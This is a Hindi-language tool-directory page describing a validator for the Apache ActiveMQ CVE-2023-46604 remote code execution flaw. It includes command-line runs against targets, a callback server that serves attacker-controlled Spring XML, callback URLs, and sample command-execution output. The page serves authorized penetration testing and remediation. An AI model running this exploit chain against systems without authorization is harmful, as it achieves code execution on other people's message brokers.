Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ActiveMQ-CVE-2023-46604 — अपाचे ActiveMQ CVE-2023-46604 के लिए गैर-विनाशकारी सत्यापनकर्ता। क्राफ्टेड OpenWire पैकेट भेजता है, RCE या XML लोडिंग की पुष्टि के लिए HTTP कॉलबैक सर्वर का उपयोग करता है, और अधिकृत पेनेट्रेशन परीक्षणों के लिए CSV/JSON साक्ष्य उत्पन्न करता है। | Kitploit
उपकरण/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

अपाचे ActiveMQ CVE-2023-46604 के लिए गैर-विनाशकारी सत्यापनकर्ता। क्राफ्टेड OpenWire पैकेट भेजता है, RCE या XML लोडिंग की पुष्टि के लिए HTTP कॉलबैक सर्वर का उपयोग करता है, और अधिकृत पेनेट्रेशन परीक्षणों के लिए CSV/JSON साक्ष्य उत्पन्न करता है।

रिपॉजिटरी देखें
112घं 53मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-46604 ActiveMQ सुरक्षित वैलिडेटर

Apache ActiveMQ CVE-2023-46604 के लिए एक एकल-फ़ाइल, गैर-विनाशकारी वैलिडेटर। यह अपना स्वयं का HTTP कॉलबैक सर्वर शुरू करता है, मेमोरी में लक्ष्य-विशिष्ट Spring XML उत्पन्न करता है, निर्मित OpenWire पैकेट भेजता है, अद्वितीय टोकन के साथ कॉलबैक को सहसंबंधित करता है, और CSV/JSON साक्ष्य लिखता है।

यह प्रोजेक्ट अधिकृत पैठ परीक्षणों और फ्लीट सत्यापन के लिए डिज़ाइन किया गया है। यह जानबूझकर रिवर्स शेल, अप्रतिबंधित कमांड निष्पादन, CIDR विस्तार, स्थिरता, या पेलोड स्टेजिंग को लागू नहीं करता है।

वैलिडेटर क्या साबित करता है

दो निश्चित प्रमाण मोड उपलब्ध हैं:

  • rce एक निश्चित, केवल-पठनीय पहचान जांच निष्पादित करता है और उसका आउटपुट अंतर्निहित HTTP सर्वर को लौटाता है। एक कॉलबैक ActiveMQ सेवा संदर्भ में ऑपरेटिंग-सिस्टम कमांड निष्पादन की पुष्टि करता है।
  • xml एक खाली Spring संदर्भ प्रदान करता है। एक फ़ेच पुष्टि करता है कि निर्मित OpenWire संदेश ने लक्ष्य को ClassPathXmlApplicationContext इंस्टैंशिएट करने और हमलावर-नियंत्रित XML प्राप्त करने के लिए प्रेरित किया, बिना कोई प्रक्रिया शुरू किए।

कोई XML फ़ाइल बनाने या अलग से होस्ट करने की आवश्यकता नहीं है।

विशेषताएँ

  • एक Python फ़ाइल; केवल मानक लाइब्रेरी
  • अंतर्निहित थ्रेडेड HTTP सर्वर
  • गतिशील, प्रति-लक्ष्य XML और कॉलबैक टोकन
  • स्पष्ट एकल-लक्ष्य और बहु-लक्ष्य इनपुट
  • सीमित समवर्तीता और भेजने के पुनः प्रयास
  • सादा OpenWire और TLS-लिपटे OpenWire समर्थन
  • निश्चित Linux और Windows पहचान जांच
  • डिफ़ॉल्ट रूप से CSV साक्ष्य, वैकल्पिक JSON
  • सटीक परिणाम स्थितियाँ जो गलत "असुरक्षित नहीं" दावों से बचती हैं
  • CI-अनुकूल --fail-on-vuln निकास कोड
  • आवश्यकताएँ

    • Python 3.9 या नया
    • परीक्षण होस्ट से लक्ष्य OpenWire लिसनर तक नेटवर्क पहुँच
    • लक्ष्य से वापस अंतर्निहित HTTP कॉलबैक पते तक नेटवर्क पहुँच
    • प्रत्येक लक्ष्य के लिए स्पष्ट प्राधिकरण

    डिफ़ॉल्ट OpenWire पोर्ट 61616 है, लेकिन गैर-डिफ़ॉल्ट पोर्ट समर्थित हैं।

    त्वरित प्रारंभ

    उदाहरणों में केवल-दस्तावेज़ीकरण पते का उपयोग करें; उन्हें अपने अधिकृत संसाधनों से बदलें।

    एकल Linux लक्ष्य

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616 \
      --callback-host 192.0.2.50
    

    स्क्रिप्ट स्वचालित रूप से TCP/8000 पर कॉलबैक सर्वर शुरू करती है, उत्पन्न XML प्रदान करती है, OpenWire पैकेट भेजती है, साक्ष्य की प्रतीक्षा करती है, एक परिणाम तालिका प्रिंट करती है, और लिखती है:

    root@kitploit:~
    activemq-cve-2023-46604-results.csv
    

    कई स्पष्ट लक्ष्य

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target mq01.example.test:61616 \
      --target mq02.example.test:61616 \
      --target tcp://192.0.2.23:61500 \
      --callback-host 192.0.2.50 \
      --workers 4 \
      --json-output results.json
    

    लक्ष्य फ़ाइल

    targets.txt बनाएँ:

    root@kitploit:~
    # प्रति पंक्ति एक स्पष्ट रूप से अधिकृत होस्ट
    mq01.example.test:61616
    192.0.2.21:61616
    tcp://192.0.2.22:61500
    ssl://mq-secure.example.test:61617
    

    चलाएँ:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --http-port 8000 \
      --platform linux \
      --proof rce \
      --workers 8 \
      --wait 15 \
      --output findings.csv \
      --json-output findings.json
    

    लक्ष्य फ़ाइलों में खाली पंक्तियाँ और # से शुरू होने वाली टिप्पणियाँ हो सकती हैं। CIDR विस्तार जानबूझकर असमर्थित है; अधिकृत इन्वेंट्री को स्पष्ट रूप से सूचीबद्ध करें।

    स्वचालित कॉलबैक-पता पहचान

    सरल रूटेड नेटवर्क के लिए, --callback-host छोड़ें:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616
    

    टूल पहले लक्ष्य की ओर रूट करने के लिए उपयोग किए जाने वाले स्थानीय स्रोत पते का चयन करता है। NAT, VPN, कंटेनर, जंप होस्ट, या मल्टी-होमेड सिस्टम के माध्यम से परीक्षण करते समय --callback-host निर्दिष्ट करें।

    Windows-होस्टेड ActiveMQ

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.30:61616 \
      --callback-host 192.0.2.50 \
      --platform windows \
      --proof rce
    

    Windows जांच सेवा पहचान, कंप्यूटर नाम और OS संस्करण लौटाने के लिए एक निश्चित, गैर-इंटरैक्टिव PowerShell कमांड का उपयोग करती है। यह एक इंटरैक्टिव शेल प्रदान नहीं करती है।

    केवल XML-लोड सत्यापन

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --proof xml
    

    यह मोड ProcessBuilder इंस्टैंशिएट नहीं करता है।

    TLS-लिपटे OpenWire

    ssl:// लक्ष्य का उपयोग करें:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50
    

    अविश्वसनीय प्रमाणपत्र वाले आंतरिक लिसनर के लिए:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50 \
      --tls-no-verify
    

    --tls-no-verify केवल OpenWire TLS कनेक्शन को प्रभावित करता है। कॉलबैक सर्वर HTTP है।

    परिणाम स्थितियाँ

    स्थितिअर्थ
    CONFIRMED_VULNERABLE_RCEलक्ष्य ने अपना XML प्राप्त किया और निश्चित पहचान कमांड ने साक्ष्य लौटाया।
    CONFIRMED_VULNERABLE_XML_LOADxml मोड में, लक्ष्य ने अद्वितीय XML दस्तावेज़ प्राप्त किया।
    VULNERABLE_XML_LOAD_ONLYrce मोड में, XML पुनर्प्राप्ति हुई लेकिन कमांड कॉलबैक नहीं हुआ। कमजोर क्लास-इंस्टैंशिएशन पथ की पुष्टि हुई है; कॉलबैक टूलिंग, ईग्रेस, या प्रक्रिया निष्पादन प्रतिबंधित हो सकता है।
    NOT_CONFIRMEDपैकेट भेजा गया, लेकिन समय सीमा से पहले कोई सहसंबंधित HTTP साक्ष्य नहीं आया। यह प्रमाण नहीं है कि होस्ट पैच किया गया है।
    UNREACHABLETCP/TLS कनेक्शन या पैकेट भेजना विफल रहा।

    एक पैच किया गया ब्रोकर, गलत पोर्ट, ईग्रेस फ़िल्टरिंग, रूटिंग समस्याएँ, TLS बेमेल, और एंडपॉइंट नियंत्रण सभी कॉलबैक-आधारित सत्यापन को प्रभावित कर सकते हैं। रिपोर्ट साक्ष्य के रूप में CSV/JSON टाइमस्टैम्प और कॉलबैक आउटपुट संरक्षित करें।

    निश्चित पहचान साक्ष्य

    Linux पहचान जांच निम्न के समान आउटपुट लौटाती है:

    root@kitploit:~
    CVE-2023-46604 RCE CONFIRMED
    uid=997(activemq) gid=997(activemq) groups=997(activemq)
    user=activemq
    host=mq01
    os=Linux 5.15.0-...
    

    यह HTTP POST के लिए curl, wget, और BusyBox wget आज़माता है। यदि XML प्राप्त होता है लेकिन उनमें से कोई भी क्लाइंट उपलब्ध नहीं है, तो परिणाम गलत नकारात्मक के बजाय VULNERABLE_XML_LOAD_ONLY होता है।

    निकास कोड

    • 0: सत्यापन पूरा हुआ, या --fail-on-vuln के बिना कमजोरियाँ पाई गईं
    • 2: कम से कम एक कमजोर परिणाम पाया गया और --fail-on-vuln प्रदान किया गया था
    • argparse त्रुटियाँ सामान्य गैर-शून्य कमांड-लाइन त्रुटि कोड का उपयोग करती हैं

    उदाहरण CI उपयोग:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --fail-on-vuln
    

    यह कैसे काम करता है

    CVE-2023-46604 Java OpenWire अनमार्शलिंग को प्रभावित करता है। वैलिडेटर एक ढीला-मार्शल किया गया OpenWire ExceptionResponse भेजता है जिसका अपवाद वर्ग है:

    root@kitploit:~
    org.springframework.context.support.ClassPathXmlApplicationContext
    

    अपवाद संदेश उत्पन्न Spring XML का अद्वितीय URL है। कमजोर ActiveMQ कोड हमलावर-चयनित क्लास को उस URL के साथ इंस्टैंशिएट करता है। rce मोड में, Spring संदर्भ एक निश्चित ProcessBuilder जांच शुरू करता है; xml मोड में, संदर्भ खाली है।

    प्रत्येक लक्ष्य को एक अलग टोकन प्राप्त होता है, उदाहरण के लिए:

    root@kitploit:~
    http://192.0.2.50:8000/poc/<unique-token>.xml
    http://192.0.2.50:8000/cb/<same-token>
    

    यह समवर्ती कॉलबैक को सही लक्ष्य के लिए जिम्मेदार ठहराने की अनुमति देता है।

    कमांड संदर्भ

    root@kitploit:~
    --authorized                 आवश्यक प्राधिकरण स्वीकृति
    -t, --target VALUE           स्पष्ट लक्ष्य; दोहराने योग्य
    -T, --targets-file FILE      प्रति पंक्ति एक स्पष्ट लक्ष्य; दोहराने योग्य
    --default-port PORT          डिफ़ॉल्ट 61616
    --tls                        सभी लक्ष्यों के लिए TLS का उपयोग करें
    --tls-no-verify              OpenWire TLS प्रमाणपत्र सत्यापन अक्षम करें
    --callback-host HOST         पता जो लक्ष्य HTTP कॉलबैक के लिए उपयोग करते हैं
    --bind-host HOST             स्थानीय HTTP बाइंड पता; डिफ़ॉल्ट 0.0.0.0
    --http-port PORT             स्थानीय HTTP पोर्ट; डिफ़ॉल्ट 8000; 0 एक मुफ्त पोर्ट चुनता है
    --proof rce|xml              निश्चित प्रमाण मोड; डिफ़ॉल्ट rce
    --platform linux|windows     RCE मोड के लिए लक्ष्य OS; डिफ़ॉल्ट linux
    --workers N                  समानांतर कार्यकर्ता; अधिकतम 32
    --connect-timeout SECONDS    TCP/TLS टाइमआउट
    --wait SECONDS               कॉलबैक संग्रह विंडो
    --retries N                  एक से तीन पैकेट-भेजने के प्रयास
    --retry-delay SECONDS        प्रयासों के बीच देरी
    -o, --output FILE            CSV साक्ष्य गंतव्य
    --json-output FILE           वैकल्पिक JSON गंतव्य
    --verbose                    HTTP अनुरोध लॉग दिखाएँ
    --fail-on-vuln               कमजोर परिणाम मिलने पर निकास 2
    

    परीक्षण

    root@kitploit:~
    python3 -m unittest discover -s tests -v
    

    परीक्षण किसी भी लक्ष्य से संपर्क किए बिना लक्ष्य पार्सिंग, CIDR अस्वीकृति, XML अच्छी-संरचना, और OpenWire फ्रेम संरचना को सत्यापित करते हैं।

    उपचार

    ActiveMQ को एक निश्चित और वर्तमान में समर्थित रिलीज़ में अपग्रेड करें। Apache सलाह ने तत्कालीन-वर्तमान शाखाओं के लिए निश्चित रिलीज़ को ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, और 6.0.0, और Artemis 2.31.2 के रूप में पहचाना। साथ ही OpenWire लिसनर को विश्वसनीय क्लाइंट तक सीमित करें और अप्रत्याशित आउटबाउंड XML पुनर्प्राप्ति की निगरानी करें।

    सुरक्षा और दायरा

    यह रिपॉजिटरी रक्षात्मक सत्यापन और अधिकृत सुरक्षा मूल्यांकन के लिए है। यह जानबूझकर शामिल नहीं करता है:

    • रिवर्स-शेल पेलोड
    • मनमाना --command निष्पादन
    • निष्पादन योग्य या स्क्रिप्ट स्टेजिंग
    • स्थिरता
    • प्रमाणीकरण हमले
    • CIDR/रेंज विस्तार

    निश्चित पहचान जांच इंटरैक्टिव पहुँच स्थापित किए बिना दूरस्थ कमांड निष्पादन और सेवा खाता प्रभाव प्रदर्शित करने के लिए पर्याप्त है।

    संदर्भ

    • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
    • Apache ActiveMQ सुरक्षा सलाह: https://activemq.apache.org/components/classic/security
    • Apache ActiveMQ स्रोत: https://github.com/apache/activemq
    • Vulhub लैब: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

    लाइसेंस

    MIT. देखें LICENSE।

    टूल डाउनलोड करें